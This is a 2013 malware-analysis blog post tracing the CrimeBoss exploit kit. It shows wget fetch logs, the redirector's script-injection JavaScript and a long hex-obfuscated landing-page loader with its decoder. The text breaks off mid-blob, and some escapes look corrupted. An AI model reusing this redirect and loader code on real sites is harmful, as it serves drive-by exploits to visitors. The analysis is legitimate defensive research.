MALware FORensics SECurity: Dropper

Showing posts with label Dropper. Show all posts

Tuesday, March 19, 2013

Bossing the Boss around - CrimeBoss EK analysis

Analyzing CrimeBoss Exploit Kit

After looking into the Blackhole EK and RedKit it's time to pick a fight with "The Boss". Not top of the food chain in the Exploit Kit world, but close, and with the name CrimeBoss one get curious.

As always Urlquery to the rescue with hints on where to start looking: link

1. Fetching redirector

--2013-03-19 --  hxxp: //anitatelecom.com.br/.01/?x=s
Resolving anitatelecom.com.br... 187.1.133.57
Connecting to anitatelecom.com.br|187.1.133.57|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Set-Cookie: PHPSESSID=09d624312a8f68826b4a0b5a9298990a; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Connection: close
  Content-Type: text/html
Length: unspecified [text/html]
Saving to: `pane.html.gz'

     0K                                                        4.39M=0s

2013-03-19  (4.39 MB/s) - `pane.html.gz' saved [172]

Simply JavaScript to get the landing pane:

if(navigator.javaEnabled()) {
document.write('<sc' + 'ri' + 'pt src="hxxp: //anitatelecom.com.br/.01/index.php?x=s&apm=1788362687&no=0" type="text/javascript"></scri' + 'pt>');

2. Fetch the landing pane

--2013-03-19 --  hxxp: //anitatelecom.com.br/.01/index.php?x=s&apm=1788362687&no=0
Resolving anitatelecom.com.br... 187.1.133.57
Connecting to anitatelecom.com.br|187.1.133.57|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Set-Cookie: PHPSESSID=47f08b3c137fef72727c28687d5f7146; path=/
  Expires: Thu, 19 Nov 1981 08:52:00 GMT
  Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  Pragma: no-cache
  Vary: Accept-Encoding
  Content-Encoding: gzip
  Connection: close
  Content-Type: text/html
Length: unspecified [text/html]
Saving to: `index.php.gz'

     0K ....                                                    718K=0.006s

2013-03-19  (718 KB/s) - `index.php.gz' saved [4254]

3. Deobfuscate landing pane with nodejs

I bet Wepawet would do an excellent job on this one, but with the Boss around I feel that we need to work a bit harder and see if we can get payed off better:
Lots of code; I like cleaning the code and understanding it before decoding; No requirement for Monty Python references while using JavaScript so I leave you with simply the code;

     function dcd(st)
     {
      r = '';
      for(i=O; i < st.length; i++)
      {
       e = st.charCodeAt(i)-1;
       r = r + String.fromCharCode(e);
      }
      return r;
     }
   function hDdwCvE() { var DQKacTGKXZ = '\x77\x62\x73\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x21\x3e\x21\x28\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x5O\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x7O\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x2c\x3O\x3e\x28\x3c\x21\x77\x62\x73\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x21\x3e\x21\x28\x55\x38\x3a\x22\x25\x3a\x3a\x29\x35\x2c\x74\x2c\x7f\x35\x35\x2a\x55\x38\x7f\x41\x3e\x28\x3c\x21\x77\x62\x73\x21\x64\x21\x3e\x21\x31\x3c\x21\x21\x21\x67\x76\x6f\x64\x75\x6a\x7O\x6f\x21\x6b\x7O\x5O\x78\x7b\x54\x75\x6f\x4c\x71\x29\x74\x2a\x21\x7c\x21\x77\x62\x73\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x3e\x21\x28\x28\x3c\x21\x77\x62\x73\x21\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3e\x21\x2e\x32\x3c\x21\x77\x62\x73\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3e\x21\x31\x3c\x21\x77\x62\x73\x21\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x21\x3e\x21\x76\x6f\x66\x74\x64\x62\x71\x66\x29\x74\x2a\x3c\x21\x21\x67\x7O\x73\x21\x29\x77\x62\x73\x21\x6a\x3e\x31\x3c\x6a\x3d\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x6a\x2c\x2c\x2a\x21\x7c\x21\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6a\x6f\x65\x66\x79\x5O\x67\x29\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x64\x69\x62\x73\x42\x75\x29\x6a\x2a\x2a\x3c\x21\x6a\x67\x21\x29\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x3f\x3e\x21\x31\x2a\x21\x7c\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3e\x21\x29\x6f\x64\x64\x43\x76\x74\x79\x54\x21\x2e\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x2f\x64\x69\x62\x73\x44\x7O\x65\x66\x42\x75\x29\x64\x2a\x2a\x21\x26\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x21\x6a\x67\x21\x29\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x3d\x21\x31\x2a\x21\x7c\x21\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x21\x2c\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x6d\x66\x6f\x68\x75\x69\x3c\x21\x7e\x21\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x2c\x3e\x21\x6b\x59\x4f\x4a\x5O\x76\x55\x2f\x64\x69\x62\x73\x42\x75\x29\x76\x48\x55\x67\x6a\x6c\x6b\x69\x54\x67\x2a\x3c\x21\x21\x64\x2c\x2c\x3c\x21\x6a\x67\x21\x29\x64\x21\x3f\x3e\x21\x4a\x53\x69\x6f\x7b\x67\x77\x71\x7b\x66\x7a\x2f\x6d\x66\x6f\x68\x75\x69\x2a\x21\x7c\x21\x64\x21\x3e\x21\x31\x3c\x21\x7e\x21\x7e\x21\x66\x6d\x74\x66\x21\x7c\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x21\x2c\x3e\x21\x48\x62\x45\x59\x73\x73\x53\x49\x4f\x2f\x64\x69\x62\x73\x42\x75\x29\x6a\x2a\x3c\x21\x7e\x21\x7e\x21\x21\x73\x66\x75\x76\x73\x6f\x21\x5a\x4d\x45\x7b\x6a\x6f\x43\x3c\x21\x7e\x21\x21\x21\x3O\x2b\x67\x35\x64\x6c\x2b\x3O\x21\x21\x66\x77\x62\x6d\x29\x6b\x7O\x5O\x78\x7b\x54\x75\x6f\x4c\x71\x29\x28\x43\x52\x6b\x26\x33\x31\x45\x6O\x4a\x68\x67\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x6f\x26\x33\x31\x68\x57\x67\x4a\x26\x34\x43\x26\x31\x42\x73\x4f\x66\x26\x33\x31\x4d\x6O\x42\x69\x69\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x26\x33\x38\x65\x26\x34\x45\x6b\x69\x26\x34\x42\x67\x6a\x54\x67\x4b\x68\x46\x66\x4a\x69\x53\x51\x52\x36\x2f\x54\x6c\x6d\x2f\x59\x26\x33\x43\x32\x2f\x74\x57\x6a\x62\x67\x46\x53\x63\x2f\x62\x4d\x6d\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6a\x4f\x55\x26\x33\x31\x33\x6O\x63\x58\x63\x5a\x79\x6a\x6c\x26\x31\x3a\x26\x31\x3a\x68\x26\x33\x31\x48\x6O\x6e\x6b\x4e\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x26\x34\x47\x46\x4f\x59\x66\x63\x62\x7O\x26\x33\x47\x6b\x58\x74\x7O\x6O\x75\x54\x56\x26\x33\x47\x51\x6c\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6f\x43\x66\x26\x33\x31\x4f\x6O\x58\x4f\x58\x6a\x4f\x52\x37\x26\x31\x3a\x26\x31\x3a\x33\x26\x33\x31\x67\x6O\x75\x6f\x35\x26\x33\x31\x31\x26\x33\x31\x26\x33\x38\x26\x34\x47\x54\x3a\x52\x62\x68\x5O\x7b\x58\x66\x46\x71\x67\x6O\x58\x44\x43\x52\x6c\x6e\x26\x33\x38\x26\x34\x43\x26\x31\x42\x73\x75\x69\x26\x33\x31\x63\x6O\x47\x48\x54\x6f\x43\x63\x4b\x52\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x67\x6O\x69\x66\x4f\x26\x33\x31\x52\x26\x33\x31\x26\x33\x38\x26\x34\x47\x52\x5a\x74\x66\x38\x65\x35\x4e\x52\x54\x6d\x55\x6O\x58\x46\x68\x46\x6c\x54\x54\x26\x33\x38\x26\x34\x43\x26\x31\x42\x59\x75\x69\x26\x33\x31\x67\x6O\x6c\x69\x38\x52\x57\x26\x33\x47\x42\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x63\x6O\x57\x66\x51\x26\x33\x31\x77\x26\x33\x31\x26\x33\x38\x26\x34\x47\x46\x5a\x68\x57\x52\x37\x33\x7O\x74\x58\x26\x34\x45\x6a\x6O\x65\x4a\x26\x33\x43\x57\x58\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x42\x6a\x46\x64\x26\x33\x31\x4f\x6O\x69\x63\x4f\x47\x79\x55\x26\x31\x3a\x26\x31\x3a\x39\x26\x33\x31\x66\x58\x35\x6a\x58\x26\x34\x43\x26\x31\x42\x51\x26\x33\x43\x6b\x26\x33\x31\x63\x6O\x43\x64\x55\x6O\x55\x53\x5b\x53\x6c\x26\x31\x3a\x26\x31\x3a\x7O\x26\x33\x31\x49\x26\x34\x43\x26\x31\x42\x6d\x58\x72\x26\x33\x31\x67\x6O\x75\x67\x69\x6O\x3a\x4c\x6d\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x64\x6f\x26\x34\x43\x26\x31\x42\x5b\x4d\x57\x26\x33\x31\x67\x6O\x4f\x64\x53\x6O\x39\x69\x62\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x26\x33\x38\x6a\x49\x26\x33\x38\x26\x34\x43\x26\x31\x42\x6d\x54\x4d\x26\x33\x31\x48\x6O\x54\x69\x52\x6O\x69\x57\x58\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x26\x33\x38\x65\x68\x68\x53\x26\x34\x42\x53\x32\x59\x5b\x6a\x76\x66\x6e\x2f\x42\x5O\x34\x2f\x74\x64\x7a\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x42\x26\x31\x42\x4b\x67\x53\x5a\x68\x57\x52\x37\x26\x33\x31\x26\x34\x45\x6O\x64\x26\x34\x45\x6d\x39\x4c\x4b\x74\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x5O\x58\x6d\x57\x66\x53\x26\x33\x31\x56\x6O\x46\x6d\x64\x6O\x69\x55\x35\x26\x33\x31\x31\x26\x33\x31\x67\x6O\x5b\x6d\x39\x6O\x67\x6b\x26\x33\x47\x26\x33\x31\x69\x26\x33\x31\x63\x6O\x54\x52\x64\x6O\x4e\x5a\x49\x62\x6c\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x2f\x4d\x75\x69\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x63\x75\x6b\x77\x6b\x62\x4a\x4c\x26\x33\x31\x43\x6O\x56\x78\x54\x26\x33\x39\x58\x64\x48\x62\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6a\x4f\x55\x26\x33\x31\x32\x57\x6f\x26\x33\x31\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x33\x47\x26\x33\x31\x5b\x38\x54\x6e\x48\x43\x67\x6d\x2f\x45\x66\x4a\x4d\x59\x62\x35\x5a\x48\x36\x56\x6b\x74\x26\x33\x39\x26\x33\x38\x66\x7a\x69\x54\x48\x43\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x62\x59\x54\x2f\x67\x57\x4f\x26\x33\x31\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x72\x26\x33\x31\x7O\x66\x51\x48\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6f\x2f\x73\x71\x46\x63\x58\x2f\x51\x47\x6c\x62\x44\x57\x51\x55\x59\x76\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x56\x4c\x78\x55\x62\x6e\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x7a\x69\x2f\x6c\x4f\x57\x65\x58\x2f\x46\x57\x58\x62\x51\x58\x6d\x26\x31\x3a\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x4c\x37\x63\x66\x6e\x62\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6b\x2f\x4e\x52\x72\x65\x47\x2f\x5b\x46\x64\x4c\x66\x62\x26\x31\x3a\x26\x31\x3a\x7b\x26\x33\x31\x26\x33\x38\x64\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x32\x57\x6f\x2f\x73\x71\x46\x63\x58\x2f\x4b\x26\x33\x43\x57\x57\x4b\x62\x4c\x26\x31\x3a\x26\x31\x3a\x79\x26\x33\x31\x26\x33\x38\x66\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x66\x2f\x56\x26\x34\x45\x7O\x69\x65\x2f\x59\x38\x69\x57\x26\x33\x47\x5O\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x26\x33\x38\x67\x51\x62\x4a\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x55\x4b\x6f\x2f\x67\x68\x62\x35\x56\x2f\x74\x69\x5b\x26\x34\x45\x59\x26\x31\x3a\x26\x31\x3a\x26\x31\x3a\x35\x26\x33\x31\x26\x33\x38\x56\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x6b\x2f\x55\x68\x64\x58\x4a\x2f\x65\x53\x57\x4a\x31\x6b\x26\x31\x3a\x26\x31\x3a\x39\x26\x33\x31\x26\x33\x38\x7b\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x6f\x79\x6b\x6e\x4d\x4c\x26\x33\x31\x62\x59\x54\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x5a\x5a\x48\x71\x57\x63\x51\x26\x33\x31\x64\x6O\x63\x4f\x65\x6d\x4a\x26\x33\x39\x6c\x6b\x47\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x54\x54\x6b\x26\x33\x31\x43\x32\x54\x5O\x64\x26\x33\x31\x39\x26\x33\x31\x52\x63\x46\x42\x64\x62\x6e\x71\x2f\x76\x66\x57\x54\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x47\x59\x26\x33\x31\x26\x33\x39\x54\x71\x63\x49\x6b\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x46\x26\x33\x43\x63\x52\x62\x2f\x32\x65\x7O\x65\x6f\x26\x34\x45\x35\x58\x26\x34\x45\x4d\x6b\x58\x26\x33\x39\x79\x6O\x51\x7b\x52\x26\x33\x39\x5a\x6f\x5a\x26\x33\x3a\x26\x33\x44\x26\x33\x31\x4f\x72\x38\x55\x76\x2f\x66\x66\x26\x33\x43\x6a\x6d\x6b\x46\x62\x65\x46\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x38\x45\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x54\x5a\x5a\x48\x71\x57\x63\x51\x26\x33\x31\x64\x6O\x54\x5O\x7O\x58\x37\x26\x33\x39\x59\x6d\x48\x4a\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x54\x54\x26\x33\x31\x67\x55\x4d\x53\x26\x33\x31\x39\x26\x33\x31\x52\x63\x46\x42\x64\x62\x6e\x71\x2f\x77\x69\x58\x38\x52\x58\x3a\x4e\x53\x52\x51\x53\x71\x26\x33\x39\x26\x33\x38\x67\x64\x44\x37\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x6a\x6d\x5b\x6b\x2f\x32\x65\x67\x26\x33\x47\x5O\x26\x34\x45\x4d\x31\x26\x33\x47\x26\x33\x31\x72\x26\x33\x31\x54\x59\x6a\x5a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x66\x48\x26\x34\x45\x6c\x6f\x6e\x26\x33\x31\x7O\x39\x52\x67\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x34\x45\x53\x67\x56\x56\x57\x54\x5a\x26\x33\x31\x31\x6O\x64\x31\x64\x53\x62\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x65\x71\x42\x69\x67\x26\x33\x31\x26\x33\x38\x26\x34\x44\x38\x4e\x69\x65\x47\x68\x26\x33\x31\x53\x4d\x52\x62\x7b\x26\x33\x33\x3a\x44\x43\x52\x26\x33\x39\x51\x4d\x26\x33\x3a\x26\x33\x31\x54\x79\x53\x26\x33\x31\x4c\x4f\x26\x33\x43\x6b\x6d\x26\x33\x31\x7O\x51\x59\x55\x5b\x62\x4c\x26\x33\x31\x33\x52\x37\x6b\x6f\x6f\x69\x26\x33\x33\x26\x33\x31\x77\x66\x57\x26\x33\x47\x6b\x26\x33\x33\x66\x75\x2f\x45\x5a\x46\x65\x58\x26\x33\x33\x26\x33\x31\x58\x66\x51\x4b\x32\x6d\x62\x26\x33\x47\x26\x33\x33\x26\x33\x38\x26\x33\x31\x37\x26\x33\x31\x64\x6O\x58\x36\x4b\x4e\x4e\x4b\x7b\x26\x33\x39\x26\x33\x3a\x26\x33\x31\x79\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x62\x55\x49\x71\x56\x7b\x26\x33\x33\x64\x26\x33\x33\x26\x33\x31\x31\x56\x66\x67\x65\x26\x34\x45\x33\x26\x33\x33\x74\x26\x33\x33\x26\x33\x31\x26\x33\x31\x4e\x52\x72\x65\x47\x7b\x26\x33\x33\x5b\x55\x58\x66\x5O\x57\x4f\x32\x6b\x76\x26\x34\x42\x26\x33\x31\x68\x66\x78\x55\x58\x49\x26\x33\x33\x26\x33\x31\x4b\x54\x72\x55\x51\x57\x55\x55\x71\x7b\x26\x33\x33\x68\x55\x42\x56\x26\x33\x33\x26\x34\x46\x26\x31\x3a\x26\x34\x44\x6d\x5b\x6f\x75\x64\x26\x33\x31\x67\x38\x4b\x58\x35\x26\x33\x33\x4e\x57\x53\x57\x26\x33\x33\x26\x33\x31\x5b\x58\x5a\x69\x48\x54\x26\x33\x33\x59\x71\x74\x6d\x26\x34\x42\x53\x32\x7b\x58\x2f\x63\x75\x2f\x75\x6c\x71\x2f\x67\x6e\x6c\x38\x2f\x6f\x7O\x6f\x6f\x67\x2f\x5a\x7O\x69\x26\x34\x43\x77\x67\x65\x26\x34\x43\x56\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6a\x69\x54\x54\x4f\x52\x26\x34\x46\x26\x34\x44\x78\x46\x6d\x64\x5a\x48\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x57\x72\x6e\x5a\x26\x34\x45\x5a\x68\x49\x26\x33\x31\x75\x6O\x5a\x36\x52\x64\x7a\x3a\x6O\x44\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x6f\x53\x68\x58\x26\x33\x43\x65\x26\x33\x31\x26\x33\x38\x26\x34\x44\x58\x7O\x6d\x35\x56\x6d\x26\x33\x31\x49\x26\x33\x43\x66\x58\x6f\x26\x33\x33\x3a\x46\x68\x46\x26\x33\x39\x51\x26\x34\x45\x26\x33\x3a\x26\x33\x31\x4b\x48\x76\x26\x33\x31\x4a\x71\x5b\x6f\x26\x34\x45\x26\x33\x31\x34\x56\x4f\x47\x6f\x58\x26\x33\x47\x26\x33\x31\x33\x54\x5a\x59\x6f\x63\x5a\x26\x33\x33\x26\x33\x31\x46\x38\x55\x62\x26\x33\x47\x26\x33\x33\x6a\x49\x2f\x54\x65\x38\x51\x6c\x26\x33\x33\x26\x33\x31\x54\x54\x51\x4d\x55\x5b\x62\x7b\x26\x33\x33\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x4d\x6O\x75\x67\x6d\x6O\x75\x6f\x35\x26\x33\x31\x31\x26\x33\x31\x26\x33\x38\x63\x43\x26\x33\x43\x67\x2f\x63\x43\x66\x26\x34\x47\x57\x79\x26\x33\x38\x26\x33\x31\x7O\x26\x33\x31\x4a\x4f\x68\x4b\x2f\x7a\x63\x6c\x6f\x6f\x26\x33\x39\x49\x72\x74\x56\x59\x74\x26\x33\x31\x33\x26\x33\x31\x26\x33\x39\x31\x4f\x59\x54\x2f\x57\x58\x62\x52\x52\x36\x26\x33\x39\x26\x33\x3a\x26\x33\x42\x7b\x36\x39\x36\x51\x7b\x26\x33\x31\x33\x26\x33\x31\x57\x26\x33\x3a\x26\x33\x3a\x26\x33\x31\x69\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x7O\x62\x46\x68\x4d\x79\x26\x33\x33\x66\x26\x33\x33\x26\x33\x31\x65\x53\x57\x4a\x31\x6b\x39\x26\x33\x33\x7b\x26\x33\x33\x26\x33\x31\x26\x33\x31\x7O\x26\x34\x45\x7O\x65\x26\x33\x47\x6b\x26\x33\x33\x6f\x62\x55\x57\x47\x55\x51\x66\x68\x6d\x26\x34\x42\x26\x33\x31\x4b\x32\x55\x5b\x65\x6b\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x39\x52\x6b\x38\x4b\x26\x33\x31\x67\x54\x4f\x53\x72\x26\x33\x33\x58\x4e\x6b\x59\x26\x33\x33\x26\x33\x31\x6a\x44\x35\x6c\x62\x26\x33\x47\x26\x33\x33\x65\x26\x34\x45\x6b\x69\x26\x34\x42\x67\x6a\x7b\x76\x2f\x67\x7O\x2f\x67\x76\x68\x2f\x79\x7O\x75\x6f\x2f\x48\x73\x38\x55\x6d\x2f\x77\x67\x65\x26\x34\x43\x3a\x4e\x65\x26\x34\x43\x74\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6e\x64\x46\x64\x46\x6a\x26\x34\x46\x26\x33\x31\x26\x34\x44\x7a\x4f\x53\x39\x63\x62\x74\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x63\x42\x65\x56\x4f\x47\x68\x67\x26\x33\x31\x79\x6O\x55\x73\x62\x55\x45\x26\x33\x47\x6O\x4c\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x55\x79\x6b\x72\x72\x6b\x26\x33\x31\x26\x33\x38\x26\x34\x44\x75\x67\x69\x47\x43\x6d\x26\x33\x31\x67\x43\x5b\x4a\x79\x26\x33\x33\x31\x58\x6a\x4f\x26\x33\x39\x39\x67\x26\x33\x3a\x26\x33\x31\x4e\x62\x62\x26\x33\x31\x5O\x26\x34\x45\x52\x6b\x4f\x26\x33\x31\x6c\x56\x6d\x4b\x6a\x4a\x4a\x26\x33\x31\x75\x6c\x62\x68\x55\x38\x63\x26\x33\x33\x26\x33\x31\x5a\x6f\x5b\x79\x33\x26\x33\x33\x66\x57\x2f\x26\x34\x45\x65\x54\x55\x67\x26\x33\x33\x26\x33\x31\x46\x64\x48\x65\x57\x6a\x48\x54\x26\x33\x33\x26\x33\x38\x26\x33\x31\x31\x26\x33\x31\x67\x6O\x5b\x6d\x39\x6O\x6c\x6b\x47\x26\x33\x31\x69\x26\x33\x31\x26\x33\x38\x63\x66\x5a\x2f\x58\x46\x64\x26\x34\x47\x57\x39\x26\x33\x38\x26\x33\x31\x79\x26\x33\x31\x26\x34\x45\x44\x26\x34\x45\x59\x2f\x63\x6c\x6c\x38\x69\x26\x33\x39\x75\x56\x59\x74\x74\x63\x26\x33\x31\x79\x26\x33\x31\x26\x33\x39\x34\x4d\x59\x65\x2f\x66\x4f\x51\x78\x66\x6a\x26\x33\x39\x26\x33\x3a\x26\x33\x42\x39\x36\x51\x7b\x32\x65\x26\x33\x31\x69\x26\x33\x31\x75\x26\x33\x3a\x26\x33\x3a\x26\x33\x31\x33\x26\x33\x31\x26\x33\x38\x26\x33\x33\x26\x33\x31\x59\x57\x49\x66\x4d\x39\x26\x33\x33\x6f\x26\x33\x33\x26\x33\x31\x56\x48\x32\x58\x65\x74\x39\x26\x33\x33\x48\x26\x33\x33\x26\x33\x31\x26\x33\x31\x6a\x6d\x54\x4a\x58\x35\x26\x33\x33\x58\x57\x58\x55\x47\x66\x5a\x57\x57\x46\x26\x34\x42\x26\x33\x31\x59\x66\x64\x5b\x79\x65\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x69\x38\x5O\x54\x66\x26\x33\x31\x5O\x4f\x52\x51\x72\x26\x33\x33\x69\x57\x62\x4e\x26\x33\x33\x26\x33\x31\x43\x52\x69\x75\x62\x54\x26\x33\x33\x59\x6d\x4f\x4e\x26\x34\x42\x34\x34\x6a\x71\x2f\x6a\x6e\x2f\x67\x36\x71\x2f\x7O\x65\x4e\x32\x2f\x78\x31\x38\x6f\x67\x2f\x56\x4b\x4a\x26\x34\x43\x56\x69\x4e\x26\x34\x43\x6f\x26\x33\x33\x26\x34\x46\x26\x33\x31\x26\x34\x44\x71\x62\x46\x6f\x4f\x5b\x26\x34\x46\x26\x33\x31\x26\x34\x44\x6f\x75\x67\x6d\x6c\x62\x26\x34\x45\x26\x34\x46\x26\x33\x38\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x57\x6e\x49\x26\x34\x45\x6d\x62\x51\x62\x26\x33\x31\x34\x5b\x33\x26\x33\x43\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x57\x54\x26\x33\x31\x26\x33\x39\x4d\x6O\x35\x66\x6b\x26\x33\x3a\x26\x33\x31\x4a\x6O\x69\x6c\x56\x69\x58\x26\x33\x39\x48\x6O\x65\x65\x51\x4f\x49\x51\x49\x26\x33\x31\x37\x26\x33\x31\x26\x33\x38\x26\x33\x37\x59\x7b\x4d\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x6b\x63\x71\x32\x66\x67\x26\x33\x31\x75\x4d\x45\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x4b\x54\x26\x33\x31\x26\x33\x39\x4f\x6O\x58\x54\x6b\x26\x33\x3a\x26\x33\x31\x3a\x6O\x5a\x37\x79\x67\x7a\x26\x33\x39\x6a\x6O\x69\x35\x66\x54\x26\x33\x43\x43\x57\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x26\x31\x42\x59\x57\x62\x48\x66\x4e\x6c\x62\x26\x33\x31\x26\x34\x45\x52\x66\x36\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x66\x26\x33\x31\x26\x33\x39\x67\x6O\x35\x66\x67\x26\x33\x3a\x26\x33\x31\x72\x6O\x4a\x4b\x58\x52\x71\x26\x33\x39\x4f\x6O\x58\x51\x6c\x4f\x52\x48\x78\x31\x26\x33\x31\x26\x33\x38\x26\x33\x37\x68\x26\x33\x47\x5a\x26\x33\x38\x26\x33\x3a\x26\x34\x43\x26\x31\x42\x26\x38\x45\x26\x31\x42\x26\x31\x42\x7a\x6c\x67\x3a\x52\x62\x68\x5O\x26\x33\x31\x26\x34\x45\x54\x3a\x78\x26\x33\x39\x26\x33\x3a\x26\x31\x42\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x66\x54\x26\x33\x31\x26\x33\x39\x58\x6O\x44\x39\x67\x6O\x66\x6e\x5b\x79\x6f\x26\x33\x31\x26\x34\x44\x26\x33\x31\x63\x6O\x38\x4e\x69\x6O\x56\x5O\x68\x26\x33\x3a\x26\x31\x42\x26\x31\x3a\x26\x38\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x4f\x6O\x4d\x55\x6d\x6O\x57\x62\x47\x79\x6f\x37\x3a\x26\x34\x43\x26\x31\x42\x26\x31\x3a\x26\x31\x42\x26\x31\x3a\x26\x31\x3a\x73\x75\x69\x26\x33\x31\x54\x6a\x4d\x57\x72\x26\x33\x31\x6f\x26\x33\x31\x52\x54\x4f\x5a\x6a\x53\x62\x57\x2f\x76\x66\x5b\x79\x26\x34\x43\x26\x31\x42\x26\x3